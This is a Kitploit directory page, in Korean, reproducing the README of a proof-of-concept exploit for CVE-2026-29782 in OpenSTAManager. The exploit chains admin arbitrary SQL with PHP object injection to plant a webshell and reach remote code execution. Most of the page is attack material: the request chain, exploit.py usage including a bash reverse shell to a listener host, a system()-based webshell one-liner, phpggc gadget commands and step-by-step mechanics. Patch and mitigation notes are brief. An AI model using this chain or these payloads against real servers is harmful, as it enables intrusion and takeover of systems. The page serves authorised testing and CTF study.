Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/hackerking24/cve-2026-29782-openstamanager-rce
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & Education
GitHubhackerking24/cve-2026-29782-openstamanager-rce

CVE-2026-29782-OpenSTAManager-RCE

CVE-2026-29782에 대한 개념 증명 익스플로잇으로, OpenSTAManager에서 SQL 인젝션과 PHP 객체 인젝션을 연쇄적으로 활용하여 원격 코드 실행을 달성합니다. 웹셸 배포 및 리버스 셸 옵션을 포함합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
8시간 24분 전아직 검토되지 않음
공유

CVE-2026-29782 — OpenSTAManager auth-SQLi → PHP 객체 주입 → RCE

OpenSTAManager ≤ 2.10.1에서 원격 코드 실행을 위한 PoC입니다.

oauth2.php는 공격자가 제어하는 state GET 매개변수로 zz_oauth2 행을 조회하고, 해당 행의 access_token 컬럼에 대해 allowed_classes 제한 없이 unserialize()를 호출합니다(Models\OAuth2::checkTokens() / getAccessToken()). 이는 PHP 객체 주입 지점입니다.

단독으로는 악용할 수 없습니다 — 객체를 배치할 수 없기 때문입니다. Aggiornamenti 모듈의 제한 없는 임의 SQL 기능(op=risolvi-conflitti-database, 2.9.x 라인에는 쿼리 허용 목록 없음 — )과 체인으로 연결하면, 인증된 관리자가 직렬화된 POP 가젯을 에 한 다음 를 요청하여 폭발시킬 수 있습니다.

GHSA-2fr7-cc4f-wh98
zz_oauth2.access_token
INSERT
oauth2.php
root@kitploit:~
auth (admin)
  └─ POST /actions.php  op=risolvi-conflitti-database         ← 임의 SQL
       └─ INSERT gadget blob into zz_oauth2.access_token (keyed by `state`)
  └─ GET /oauth2.php?state=<state>&code=x
       └─ Models\OAuth2::configure() → needsConfiguration()
            → getAccessToken() → checkTokens() → unserialize($access_token)
                 └─ POP gadget __destruct() → 파일 쓰기
  └─ GET /<webshell>.php?c=<cmd>                    ← 웹 사용자 권한으로 코드 실행

⚠️ 승인된 테스트만 가능합니다. 교육, CTF 플레이(HTB: Enigma 대상 작성), 방어적 연구를 위해 공개되었습니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대해 실행하는 것은 불법입니다. 보증 없음. LICENSE 참조.

영향 범위

제품OpenSTAManager (devcode-it/openstamanager)
객체 주입 지점≤ 2.10.1 — 2.10.2에서 수정됨 (unserialize($v, ['allowed_classes' => [AccessToken::class]]))
임의 SQL 체인2.9.x 라인 (risolvi-conflitti-database는 2.10.x 후반부에서 허용 목록이 추가됨)
검증 대상2.9.8, PHP 8.3, MySQL 8.0

2.9.x 트리는 monolog/monolog ^3.0을 번들로 포함하므로, 이 PoC는 Monolog 3.x 파일 쓰기 가젯(phpggc Monolog/FW1)을 사용하여 웹셸을 배치합니다. 이는 의도적으로 system()/exec() 활성화 여부나 어떤 Laravel 구성 요소가 존재하는지에 의존하지 않도록 합니다.

요구 사항

  • Python 3.8+ 및 requests — pip install -r requirements.txt
  • PATH에 phpggc + php CLI (가젯 빌드에만 사용됨; 또는 사전 빌드된 blob과 함께 --payload-file 제공)
  • 대상에 대한 유효한 admin 자격 증명 (Aggiornamenti 모듈에 쓰기 권한이 있는 모든 계정)
root@kitploit:~
git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt

사용법

root@kitploit:~
./exploit.py -u http://TARGET -U admin -P 'password' [action]

actions:
  --cmd 'id'                          단일 명령 실행, 출력 표시
  --shell                            비대화형 프롬프트
  --lhost 10.10.14.5 --lport 4444    bash 리버스 셸
  --drop-only                        웹셸만 배치하고 URL 출력

유용한 플래그:
  --module-id 6                Aggiornamenti 모듈 ID (기본값 6)
  --phpggc ./phpggc/phpggc     phpggc 경로
  --payload-file blob.bin      phpggc 건너뛰기, 사전 생성된 Monolog/FW1 blob 사용
  --webshell-name name.php     웹 루트에 배치할 파일 이름
  --proxy http://127.0.0.1:8080
  --keep                       주입된 zz_oauth2 행을 그대로 유지

예시

root@kitploit:~
# RCE 증명
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'

# 대화형
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell

# 리버스 셸  (먼저 `nc -lvnp 4444` 실행)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444

가젯을 수동으로 사전 생성 (스크립트가 수행하는 것과 동일):

root@kitploit:~
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
    --payload-file blob.bin --webshell-name osm_shell.php --cmd id

-a = ASCII 안전 S: 문자열 인코딩 (TEXT 컬럼을 바이트 단위로 그대로 통과); -f = fast-destruct (객체가 unserialize() 직후, OpenSTAManager가 ->hasExpired()를 호출하여 예외를 던지기 전에 실행됨).

작동 원리

  1. 로그인 — POST /index.php op=login&username=&password= (성공 = index.php에서 302 리다이렉트).
  2. 임의 SQL — POST /actions.php op=risolvi-conflitti-database&id_module=6&queries=<json-array>. 각 요소는 $dbo->query()로 전달됩니다; 2.9.x 브랜치는 허용 목록을 적용하지 않습니다. PoC는 CREATE TABLE … / DROP TABLE … 쌍을 추가하여 암시적 COMMIT을 강제합니다 (엔드포인트는 그렇지 않으면 쓰기를 커밋되지 않은 트랜잭션에 남겨둡니다). 핸들러는 또한 MySQL 오류 텍스트를 에코하여 extractvalue() 읽기 오라클을 제공합니다 (코드의 OSM.sql_extract()).
  3. 심기 — zz_oauth2에 알려진 state와 access_token = 0x<hex(gadget)>을 가진 행을 INSERT합니다; class는 실제 공급자 Modules\Emails\OAuth2\Google로 설정됩니다.
  4. 폭발 — GET /oauth2.php?state=<state>&code=x. configure()가 needsConfiguration() → getAccessToken() → checkTokens() → unserialize($this->access_token)을 allowed_classes 없이 호출합니다. Monolog 가젯의 __destruct가 웹셸을 씁니다. 응답은 HTTP 500 — 예상된 동작입니다.
  5. 실행 — GET /<webshell>?c=<cmd> → system().

해결 방법

  • OpenSTAManager ≥ 2.10.2로 업그레이드 — 지점이 unserialize($v, ['allowed_classes' => [AccessToken::class]])가 되고 Aggiornamenti SQL 실행기가 허용 목록에 포함됩니다.
  • modules/aggiornamenti/를 신뢰할 수 있는 관리자로 제한; zz_oauth2 쓰기 및 oauth2.php 요청 모니터링.

참고 자료

  • GHSA-whv5-4q2f-q68g — OAuth2의 안전하지 않은 역직렬화를 통한 OpenSTAManager RCE (CVE-2026-29782)
  • GHSA-2fr7-cc4f-wh98 — Aggiornamenti 모듈의 OpenSTAManager 임의 SQL
  • phpggc — https://github.com/ambionics/phpggc

크레딧

HTB: Enigma 루팅 중 연구 및 PoC 작성.

도구 다운로드